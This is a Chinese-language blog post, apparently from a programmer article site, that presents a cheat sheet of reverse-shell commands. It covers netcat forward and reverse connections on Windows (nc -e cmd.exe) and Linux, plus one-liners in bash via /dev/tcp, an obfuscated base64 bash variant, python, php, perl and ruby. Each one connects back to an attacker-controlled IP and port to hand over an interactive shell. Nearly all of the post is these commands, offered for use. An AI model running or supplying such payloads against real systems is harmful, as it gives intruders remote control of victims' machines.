Windows/Linux 下nc 反弹shell
程序员文章站
2022-05-15 20:26:37
...
Windows/Linux 下nc 反弹shell
高二那年班主任对我们说:其实我并不反对你们谈恋爱,
只是你们记得要找一个有担当的,
那些一看见老师就松开你手的,要来有什么用?
NC概述:
-
nc又名netcat,一个简单而有用的工具,可以干很多事情,但是不可以吃。
-
何为反弹shell?为什么不反弹攻击?
相信你有一天可以直接把所有攻击反弹回去的. -
何为反弹shell?
简单来说就是我们监听,然后把服务器的一个shell反弹回来,然后我们可以在自己电脑终端控制服务器终端。
windows:
主要分为正向反向连接
1:正向连接
服务器执行:nc -l -p 8888 -e cmd.exe
本地主机执行:nc -vv 服务器ip 8888
2:反向连接
服务器执行:nc -e cmd.exe 公网ip 8888
公网主机执行:nc -lvp 8888
即可成功反弹shell
linux:
本地需要监听
nc -lvp 4444
各种环境不同,可以结合天时地利人和。
- Bash
bash -i >& /dev/tcp/ip/port 0>&1
base64版
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xMzUvNzg5MCAwPiYx|{base64,-d}|{bash,-i}'
- python
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
- php
php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");'
php- 'exec("/bin/bash -i >& /dev/tcp/ip/port")'
- perl
Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
- ruby
ruby -rsocket -e'f=TCPSocket.open("ip",port).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
- nc反弹nc
nc -e /bin/bash ip port
成功反弹shll
余生很长,请多指教。
上一篇: 配方奶粉大人能喝吗,教你不同年龄层正确的喝奶粉的打开方式
下一篇: 春天水果摆盘也是分着容易和困难的
推荐阅读
-
Linux下查看使用的是哪种shell的方法汇总
-
让Linux下的cron以秒为单位执行shell脚本的3种方法
-
Linux下查找后门程序 CentOS 查后门程序的shell脚本
-
linux和windows下的自动ftp脚本(shell bat)
-
Linux下如何实现shell多线程编程以提高应用程序的响应
-
在Windows*问Linux下的Samba服务器的方法
-
linux下实现ftp自动备份shell脚本
-
Windows下使用PuTTY连接Centos7、Linux系统目录结构、一些操作命令
-
Linux下shell通用脚本启动jar(微服务)
-
Linux下shell脚本监控Tomcat的状态并实现自动启动的步骤